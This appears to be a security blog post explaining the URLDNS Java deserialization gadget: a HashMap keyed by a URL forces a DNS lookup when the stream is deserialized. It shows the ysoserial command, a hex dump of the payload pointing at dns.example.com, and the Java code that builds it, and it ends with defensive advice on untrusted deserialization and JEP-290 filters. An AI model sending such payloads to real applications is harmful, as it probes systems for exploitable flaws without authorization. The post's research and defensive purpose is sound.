I was inspired by Philippe Arteau ‏@h3xstream, who wrote a blog posting describing how he modified the Java Commons Collections gadget in ysoserial to open a URL. One great point he made was that many of the gadgets people have focused on have been about command execution. This is great if your goal is outside of the application, but applications themselves contain interesting data and functionality. Instead of executing an operating system command, his gadget works by triggering a DNS lookup and an outgoing HTTP request. A very neat trick. I love using DNS to find bugs, Ron Bowes did a great talk on this technique. Philippe’s use of it with deserialization is fantastic.

Java URL Class

Thinking about what he did, I realized that it could be easy to get a DNS lookup without dependencies. The Java URL class has an interesting property on its equals and hashCode methods. The URL class will, as a side effect, do a DNS lookup during a comparison (either equals or hashCode) – from the javadocs “Two hosts are considered equivalent if both host names can be resolved into the same IP addresses”

So, if we can get a gadget chain that will call equals or hashCode on the URL object, we will end up triggering a DNS lookup. Win! We can use this to verify that the deserialization occurred and code under our control was executed by monitoring for DNS lookups. My favorite tool for this is DNSChef, but Burp Collaborator is also very snazzy. Worst case you can fall back to TCPDump or log searching.

Enter Collections

In HashMap’s readObject method, it begins by reading the structural state of the HashMap and then starts a loop for all the items it contains. While looping, it reads the key and then the value from the stream. HashMap then calls putVal which takes the key’s hash, the key, the value, and some flags. This is exactly what we need! We have an object that in readObject will call hashCode on an object that we can supply. If you are tracking the code closely, the actual call to hashCode happens inside of the HashMap.hash function. By supplying a Java URL object as the Key for the HashMap, we will trigger a DNS lookup on deserialization.

One caveat

When the URL is initially placed in a HashMap, by calling put, the HashMap.hash method is called. This method in turn calls hashCode for the URL, but the rub is that the URL class caches the result of the call to hashCode. It stores the hashCode value in an instance variable that isn’t transient, and is written out to the stream when the object is written. This means, on the other side when this is read in, it will have a cached value and wont trigger a DNS lookup. But, don't despair. In order to be sure a DNS lookup is going to be made when the stream is read, we need to reset the cached value after adding the URL to the HashMap. Using Java Reflection APIs this is handled easily.

ysoserial

I've built a payload for Chris Frohoff's ysoserial tool. The payload uses the command line argument as the URL to resolve.
Running ysoserial:

[ec2-user@ip-10-0-0-122 ysoserial]$ java -jar target/ysoserial-0.0.5-SNAPSHOT-all.jar URLDNS "https://dns.example.com" | xxd
00000000: aced 0005 7372 0011 6a61 7661 2e75 7469  ....sr..java.uti
00000010: 6c2e 4861 7368 4d61 7005 07da c1c3 1660  l.HashMap......`
00000020: d103 0002 4600 0a6c 6f61 6446 6163 746f  ....F..loadFacto
00000030: 7249 0009 7468 7265 7368 6f6c 6478 703f  rI..thresholdxp?
00000040: 4000 0000 0000 0c77 0800 0000 1000 0000  @......w........
00000050: 0173 7200 0c6a 6176 612e 6e65 742e 5552  .sr..java.net.UR
00000060: 4c96 2537 361a fce4 7203 0007 4900 0868  L.%76...r...I..h
00000070: 6173 6843 6f64 6549 0004 706f 7274 4c00  ashCodeI..portL.
00000080: 0961 7574 686f 7269 7479 7400 124c 6a61  .authorityt..Lja
00000090: 7661 2f6c 616e 672f 5374 7269 6e67 3b4c  va/lang/String;L
000000a0: 0004 6669 6c65 7100 7e00 034c 0004 686f  ..fileq.~..L..ho
000000b0: 7374 7100 7e00 034c 0008 7072 6f74 6f63  stq.~..L..protoc
000000c0: 6f6c 7100 7e00 034c 0003 7265 6671 007e  olq.~..L..refq.~
000000d0: 0003 7870 ffff ffff ffff ffff 7400 0f64  ..xp........t..d
000000e0: 6e73 2e65 7861 6d70 6c65 2e63 6f6d 7400  ns.example.comt.
000000f0: 0071 007e 0005 7400 0568 7474 7073 7078  .q.~..t..httpspx
00000100: 7400 1768 7474 7073 3a2f 2f64 6e73 2e65  t..https://dns.e
00000110: 7861 6d70 6c65 2e63 6f6d 78              xample.comx

The code to generate the payload is below:

public Object getObject(final String url) throws Exception {
		HashMap ht = new HashMap(); // HashMap that will contain the URL
		URL u = new URL(url); // URL to use as the Key
		ht.put(u, url); //The value can be anything that is Serializable

		Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

		return ht;
}

Triggering a DNS lookup turns out to be a very simple gadget chain. Four lines of Java code does the job. The chain requires a URL object that is used as a key in a HashMap. The value associated with the key doesn't matter - it just needs to be Serializable.

Where is the bug?

This is a very simple, yet effective gadget. It is composed of just two objects! Once the programmer calls readObject, the code flow is in the hands of the whoever created the stream being read. In most cases, this is the regular code, but when anyone can provide this stream, they are free to construct it however they please. One simply needs to find a set of gadgets to accomplish the goal, which can be executing an OS command, but could also be something else.

No one can argue that URL equals or hashCode methods should be removed, these are simple and logical capabilities for that object. Maybe one could argue that URL shouldn’t be serializable, but there are many contexts where this is totally reasonable.

The same can be said about HashMap. It is a basic construct that is used all over Java code and commonly within serialization streams. HashMap does need to check that the keys are unique to ensure the integrity of the data being read. So it makes sense that it relies on the hashCode and equals methods found in the key objects.

The only place these combinations become a weak point is when an untrusted and potentially malicious party is allowed to provide the object stream to be deserialized. The next thing you know, the app is triggering a DNS lookup!

The best solution is not to deserialize objects from an untrusted source. The next best choice is to implement an ObjectInputFilter as described in JEP-290.

Post image By HenryNewman12 (Own work) [CC BY-SA 4.0 (http://creativecommons.org/licenses/by-sa/4.0)], via Wikimedia Commons